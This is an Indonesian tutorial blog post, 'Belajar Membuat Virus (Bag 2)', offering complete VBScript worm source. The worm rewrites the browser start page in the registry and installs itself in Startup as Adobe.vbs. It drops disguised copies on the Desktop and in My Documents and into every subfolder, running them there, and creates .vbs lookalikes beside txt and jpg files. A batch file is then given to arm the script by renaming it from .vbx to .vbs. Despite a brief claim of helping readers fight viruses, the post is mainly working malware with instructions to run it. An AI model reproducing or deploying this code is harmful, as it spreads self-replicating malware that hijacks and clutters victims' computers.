Belajar Membuat Virus (Bag 2)

buat sahabat yang mau belajar bikin virus.....

1.kita akan buat virus dengan pemrograman vbs,diharapkan sahabat lare dengan ini mampu mengatasi virus,mudah-mudahan amin insya allah,demi kemajuan lare

copy jimat dibawah ini...........dengan vb dan matikan virus ini dengan nama extensi vbx

On error resume next
Dim WshShell, FSO, Induk, vPath, target, Lokasi
Set WshShell = CreateObject("Wscript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Induk = FSO.GetFile(Wscript.ScriptFullName)

WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.lareosing.org/"

Lokasi = WshShell.SpecialFolders("Startup")
Induk.Copy (Lokasi & "\Adobe.vbs")

Lokasi = WshShell.SpecialFolders("Desktop")
Induk.Copy (Lokasi & "\Readme.vbs")
InfectFolder Lokasi

Lokasi = WshShell.SpecialFolders("MyDocuments")
Induk.Copy (Lokasi & "\Gambar.vbs")
InfectFolder Lokasi

vPath = Left(Induk, InStrRev(Induk, "\"))
For Each target in FSO.GetFolder(vPath).Files
If Right(target,3)="txt" or Right(target,3)="jpg" then Induk.Copy(target & ".vbs")
Next

Sub InfectFolder(Alamat)
on error resume next
For Each target in FSO.GetFolder(Alamat).SubFolders
Induk.copy(target & "\Readme.vbs")
WshShell.Run (target & "\Readme.vbs")
Next
End sub

karena takut karena bahaya dari virus ini maka teman-teman sekalian dapat mematikan virus diatas save dengan extensi vbx(*.vbx)
maka matikan virus ini dengan nama extensi vbx,lalu untuk menjalankan virus diatas copy jimat dibawah ini dan save dengan extensi(*.bat)

@Echo off
Echo File VirusVBS.VBX akan diaktifkan menjadi file Virus VBS.VBS
Echo hallo.....
Pause
Ren VirusVBS.VBX VirusVBS.VBS
Echo Done

Selamat mencoba ya sahabat